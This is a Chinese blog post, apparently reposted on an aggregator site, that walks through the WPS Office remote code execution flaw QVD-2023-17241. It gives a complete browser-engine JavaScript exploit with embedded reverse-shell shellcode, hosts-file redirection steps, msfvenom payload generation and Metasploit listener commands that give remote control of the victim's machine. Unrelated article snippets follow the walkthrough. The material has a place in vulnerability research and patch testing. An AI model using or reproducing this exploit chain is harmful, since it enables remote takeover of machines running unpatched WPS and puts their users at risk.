WPS Office 代码执行漏洞(QVD-2023-17241)

news2024/12/28 20:44:07

目录

本地利用弹计算器(自娱自乐)

原理分析

msf的利用

1.修改win11中的hosts文件

2.MSF生成一个C#后门

3.shellcode替换

 4.在创建html的目录,用python打开http服务来捕获请求

5.开启监听

6.在win11中点击poc文档,可以看到kali中捕获的对1.html请求

7. 看到msf进入后渗透模块,攻击完成


本地利用弹计算器(自娱自乐)

修改本地hosts文件(在我的win11真实机失败了,在虚拟机中实验成功)

修改hosts文件

127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn

在1.html的目录中用python打开http,用看来捕获请求

python -m http.server 80

 然后直接在点开poc文档(放在顶部资源中)就可以弹计算器了。

原理分析

打开\word\webExtensions\webExtensions1.xml,可以看到

 

 可以看到XML标签<wpswe:url></wpswe:url>中定义了访问的文件地址。docx文档中嵌入一个远程链接,当使用wps去打开文档时会去请求这个链接,由于WPS内部浏览器存在漏洞,会调用系统的api去执行攻击者在html中构造的恶意代码从而导致RCE。

msf的利用

1.修改win11中的hosts文件

192.168.1.4 clientweb.docer.wps.cn.cloudwps.cn

2.MSF生成一个C#后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=4444 -f csharp > shellcode.c

3.shellcode替换

在kali中创建一个1.html文件,替换掉shellcode的变量(如果不成功的话,点击poc文档仍然弹出计算器的话,可以卸载掉wps重新进行安装。WPS中还存有删除shellcode变量之前的1.html文件的缓存,所以不需要请求网址中的1.html,依旧可以执行弹出计算器的命令)

1.html源码(修改完shellcode)

<script>
if(typeof alert === "undefined"){
    alert = console.log;
}

let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);

function d2u(v) {
    f64[0] = v;
    return u32;
}
function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}

function gc(){ // major
    for (let i = 0; i < 0x10; i++) {
        new Array(0x100000);
    }
}

function foo(bug) {
    function C(z) {
        Error.prepareStackTrace = function(t, B) {
            return B[z].getThis();
        };
        let p = Error().stack;
        Error.prepareStackTrace = null;
        return p;
    }
    function J() {}
    var optim = false;
    var opt = new Function(
        'a', 'b', 'c',
        'if(typeof a===\'number\'){if(a>2){for(var i=0;i<100;i++);return;}b.d(a,b,1);return}' +
        'g++;'.repeat(70));
    var e = null;
    J.prototype.d = new Function(
        'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[a];');
    J.prototype.a = new Function('a', 'a.b(0,a)');
    J.prototype.b = new Function(
        'a', 'b',
        'b.c();if(a){' +
        'g++;'.repeat(70) + '}');
    J.prototype.c = function() {
        if (optim) {
            var z = C(3);
            var p = C(3);
            z[0] = 0;
            e = {M: z, C: p};
        }
    };
    var a = new J();
    // jit optim
    if (bug) {
        for (var V = 0; 1E4 > V; V++) {
            opt(0 == V % 4 ? 1 : 4, a, 1);
        }
    }
    optim = true;
    opt(1, a, 1);
    return e;
}

e1 = foo(false);
e2 = foo(true);

delete e2.M[0];

let hole = e2.C[0];
let map = new Map();
map.set('asd', 8);
map.set(hole, 0x8);

map.delete(hole);
map.delete(hole);
map.delete("asd");

map.set(0x20, "aaaa");
let arr3 = new Array(0);
let arr4 = new Array(0);
let arr5 = new Array(1);
let oob_array = [];
oob_array.push(1.1);
map.set("1", -1);

let obj_array = {
    m: 1337, target: gc
};

let ab = new ArrayBuffer(1337);
let object_idx = undefined;
let object_idx_flag = undefined;

let max_size = 0x1000;
for (let i = 0; i < max_size; i++) {
    if (d2u(oob_array[i])[0] === 0xa72) {
        object_idx = i;
        object_idx_flag = 1;
        break;
    }if (d2u(oob_array[i])[1] === 0xa72) {
        object_idx = i + 1;
        object_idx_flag = 0;
        break;
    }
}

function addrof(obj_para) {
    obj_array.target = obj_para;
    let addr = d2u(oob_array[object_idx])[object_idx_flag] - 1;
    obj_array.target = gc;
    return addr;
}

function fakeobj(addr) {
    let r8 = d2u(oob_array[object_idx]);
    if (object_idx_flag === 0) {
        oob_array[object_idx] = u2d(addr, r8[1]);
    }else {
        oob_array[object_idx] = u2d(r8[0], addr);
    }
    return obj_array.target;
}

let bk_idx = undefined;
let bk_idx_flag = undefined;
for (let i = 0; i < max_size; i++) {
    if (d2u(oob_array[i])[0] === 1337) {
        bk_idx = i;
        bk_idx_flag = 1;
        break;
    }if (d2u(oob_array[i])[1] === 1337) {
        bk_idx = i + 1;
        bk_idx_flag = 0;
        break;
    }
}

let dv = new DataView(ab);
function get_32(addr) {
    let r8 = d2u(oob_array[bk_idx]);
    if (bk_idx_flag === 0) {
        oob_array[bk_idx] = u2d(addr, r8[1]);
    } else {
        oob_array[bk_idx] = u2d(r8[0], addr);
    }
    let val = dv.getUint32(0, true);
    oob_array[bk_idx] = u2d(r8[0], r8[1]);
    return val;
}

function set_32(addr, val) {
    let r8 = d2u(oob_array[bk_idx]);
    if (bk_idx_flag === 0) {
        oob_array[bk_idx] = u2d(addr, r8[1]);
    } else {
        oob_array[bk_idx] = u2d(r8[0], addr);
    }
    dv.setUint32(0, val, true);
    oob_array[bk_idx] = u2d(r8[0], r8[1]);
}

function write8(addr, val) {
    let r8 = d2u(oob_array[bk_idx]);
    if (bk_idx_flag === 0) {
        oob_array[bk_idx] = u2d(addr, r8[1]);
    } else {
        oob_array[bk_idx] = u2d(r8[0], addr);
    }
    dv.setUint8(0, val);
}

let fake_length = get_32(addrof(oob_array)+12);
set_32(get_32(addrof(oob_array)+8)+4,fake_length);

let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;

let target_addr = addrof(wasm_instance)+0x40;
let rwx_mem = get_32(target_addr);
//alert("rwx_mem is"+rwx_mem.toString(16));

const shellcode = new Uint8Array([0xfc,0xe8,0x8f,0x00,0x00,0x00,
0x60,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,
0x14,0x89,0xe5,0x8b,0x72,0x28,0x31,0xff,0x0f,0xb7,0x4a,0x26,
0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,
0x01,0xc7,0x49,0x75,0xef,0x52,0x8b,0x52,0x10,0x57,0x8b,0x42,
0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4c,0x01,0xd0,
0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0x50,0x85,0xc9,0x74,
0x3c,0x31,0xff,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xc0,0xac,
0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,
0x3b,0x7d,0x24,0x75,0xe0,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,
0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,
0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,
0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d,
0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,
0x4c,0x77,0x26,0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,
0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,
0x6a,0x0a,0x68,0xc0,0xa8,0x01,0x04,0x68,0x02,0x00,0x11,0x5c,
0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,
0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,
0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,
0x75,0xec,0xe8,0x67,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,
0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,
0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,
0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,
0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,
0x00,0x7d,0x28,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,
0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,
0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,0x70,0xff,
0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,
0xc1,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5
]);

for(let i=0;i<shellcode.length;i++){
    write8(rwx_mem+i,shellcode[i]);
}
f();
</script>

 4.在创建html的目录,用python打开http服务来捕获请求

python -m http.server 80

5.开启监听

msfconsolemsf6 > use exploit/multi/handlermsf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set lhost 192.168.1.4msf6 exploit(multi/handler) > set lport 4444msf6 exploit(multi/handler) > run

6.在win11中点击poc文档,可以看到kali中捕获的对1.html请求

7. 看到msf进入后渗透模块,攻击完成

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/868396.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

0001nginx简介、相关模型与原理

文章目录 一. 什么是Nginx二. ngnix的一些模型1、nginx的进程模型2、worker的抢占&#xff08;锁&#xff09;机制模型3. nginx事件处理模型 三. nginx加载静态资源的过程 一. 什么是Nginx Nginx是一个高性能HTTP反向代理服务器&#xff0c;以下是nginx的相关能力 反向代理&am…

通过matlab对比music,mvdr以及tdoa三种定位算法的性能

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 4.1 MUSIC&#xff08;Multiple Signal Classification&#xff09; 4.2 MVDR&#xff08;Minimum Variance Distortionless Response&#xff09; 4.3 TDOA&#xff08;Time Difference o…

使用宝塔面板轻松部署云服务器

作者 : SYFStrive 博客首页 : HomePage &#x1f4dc;&#xff1a; 宝塔面版 &#x1f4cc;&#xff1a;个人社区&#xff08;欢迎大佬们加入&#xff09; &#x1f449;&#xff1a;社区链接&#x1f517; &#x1f4cc;&#xff1a;觉得文章不错可以点点关注 &#x1f449…

LeetCode[164]最大间距

难度&#xff1a;Hard 题目&#xff1a; 给定一个无序的数组 nums&#xff0c;返回 数组在排序之后&#xff0c;相邻元素之间最大的差值 。如果数组元素个数小于 2&#xff0c;则返回 0 。 您必须编写一个在「线性时间」内运行并使用「线性额外空间」的算法。 示例 1: 输入: …

docsify gitee 搭建个人博客

docsify & gitee 搭建个人博客 文章目录 docsify & gitee 搭建个人博客1.npm 安装1.1 在Windows上安装npm&#xff1a;1.2 在macOS上安装npm&#xff1a;1.3 linux 安装npm 2. docsify2.1 安装docsify2.2 自定义配置2.2.1 通过修改index.html&#xff0c;定制化开发页面…

如何创造千亿项目?合法合规的绿色消费增值积分,或许能冲出赛道

电商行业的竞争越来越激烈&#xff0c;大部分的电商平台都面临着这三大难题&#xff1a;如何吸引用户、如何留存用户以及如何让用户为平台带来更多的效益。为了解决这三大问题&#xff0c;我们提出了创造千亿项目的商业模式——绿色消费增值积分系统&#xff0c;帮助企业冲出赛…

git 给仓库添加新分支并上传代码,git 克隆指定分支

git 克隆指定分支 git clone -b 分支名 仓库地址 例如&#xff1a; git clone -b dev https://gitee.com/UserGuan/spring-boot-demo.git git 给仓库添加新分支并上传代码 1、初始化仓库 git init 2、创建分支并命名 git checkout -b 分支名 例如&#xff1a; git che…

分布式应用:Zabbix监控Nginx

目录 一、理论 1.Zabbix监控Nginx 二、实验 1.Zabbix监控Nginx部署 三、问题 1.重启zabbix客户端失败 2.zabbix服务端测试客户端nginx状态失败 3.nginx启动失败 4.权限不够 一、理论 1.Zabbix监控Nginx &#xff08;1&#xff09;环境 zabbix服务端&#xff1a;192.1…

从零构建深度学习推理框架-7 计算图的表达式

什么是表达式 表达式就是一个计算过程,类似于如下&#xff1a; output_mid input1 input2 output output_mid * input3用图形来表达就是这样的。 但是在PNNX的表达式&#xff08;Experssion Layer&#xff09;中不是这个样子&#xff0c;而是以一种抽象得方式&#xff0c;…

1.阿里云对象存储OSS

1.对象存储概述 文件上传&#xff0c;是指将本地图片、视频、音频等文件上传到服务器上&#xff0c;可以供其他用户浏览或下载的过程。文件上传在项目中应用非常广泛&#xff0c;我们经常发抖音、发朋友圈都用到了文件上传功能。 实现文件上传服务&#xff0c;需要有存储的支持…

山西电力市场日前价格预测【2023-08-13】

日前价格预测 预测明日&#xff08;2023-08-13&#xff09;山西电力市场全天平均日前电价为351.64元/MWh。其中&#xff0c;最高日前电价为404.00元/MWh&#xff0c;预计出现在19: 30。最低日前电价为306.39元/MWh&#xff0c;预计出现在13: 15。 价差方向预测 1&#xff1a; 实…

【vue3】vue3中父子组件传参:

文章目录 一、父传子&#xff1a;二、父调用子方法&#xff1a;三、子组件发送emit方法给父组件&#xff1a; 一、父传子&#xff1a; 【1】父组件传值&#xff1a; 【2】子组件接收&#xff1a; 二、父调用子方法&#xff1a; 【1】父组件调用&#xff1a; 【2】子组件暴…

C++ 学习系列 二 -- RAII 机制

一 什么是 RAII &#xff1f; RAII &#xff08;Resource Acquisition Is Initialization&#xff09;是由c之父Bjarne Stroustrup提出的&#xff0c;中文翻译为资源获取即初始化&#xff0c; 其含义是&#xff1a;用局部对象来管理资源的技术&#xff0c;这里所说的资源指的是…

【杨辉三角的两种解法——(超级详细)】

杨辉三角 1.杨辉三角简介&#x1f575;️ 杨辉三角&#xff0c;是二项式系数在三角形中的一种几何排列。在欧洲&#xff0c;这个表叫做帕斯卡三角形。帕斯卡&#xff08;1623----1662&#xff09;是在1654年发现这一规律的&#xff0c;比杨辉要迟393年&#xff0c;比贾宪迟600…

Python 11道字典练习题

前言 大家早好、午好、晚好吖 ❤ ~欢迎光临本文章 有字典 dic {“k1”: “v1”, “k2”: “v2”, “k3”: “v3”}&#xff0c;实现以下功能&#xff1a; 1、遍历字典 dic 中所有的key 参考答案&#xff1a; dic {k1: v1,k2:v2,k3:v3}for k in dic.keys():print(k)2、遍历…

【高阶数据结构】AVL树详解(图解+代码)

文章目录 前言1. AVL树的概念2. AVL树结构的定义3. 插入&#xff08;仅仅是插入过程&#xff09;4. 平衡因子的更新4.1 为什么要更新平衡因子&#xff1f;4.2 如何更新平衡因子&#xff1f;4.3 parent更新后&#xff0c;是否需要继续往上更新&#xff1f;4.4 平衡因子更新代码实…

【最全Kubernetes容器编排安装教程】

文章目录 环境准备主机间做信任使用ssh-copy-id命令实现免密登录的安装与配置1. 安装Git Bash软件2. 生成公钥3. SSH登录Linux服务器4. 公钥复制到Linux服务器5. SSH免密登录测试 安装ansible工具 升级内核版本使用elrepo源升级内核查看最新版内核安装最新的内核版本设置系统默…

C语言的链表的相关操作

本变博客源于自己想复习一下C语言&#xff0c;所以便自己动手复习了一下链表的相关操作。做个人记录使用。 main.c #include <stdio.h> #include "list.h"int main() {student *a;printf("hello world\n") ;printf("----初始化列表----------\…

阻塞队列的安全实现,定时器的安全实现(面试易考),超详细

一、&#x1f49b; 如何实现一个线程安全的阻塞队列 目前&#xff0c;当前代码是循环队列&#xff08;还没有进行改动&#xff09; head和tail的判空判断满两种方法: 1.浪费一个格子&#xff0c;当前走到head的前一个位置&#xff0c;就认为队列满的 2.单独搞一个变量&#xff…

【分布式系统】聊聊分布式事务中原子性

什么是分布式事务 在分布式系统中&#xff0c;一个是计算问题&#xff0c;也就是将多个任务&#xff0c;通过流控技术把不同的流量分发给不同的服务器进行处理。另一个就是存储&#xff0c;而只要设计的存储&#xff0c;就必然会引入从单体事务中衍生除的分布式事务问题。 事务…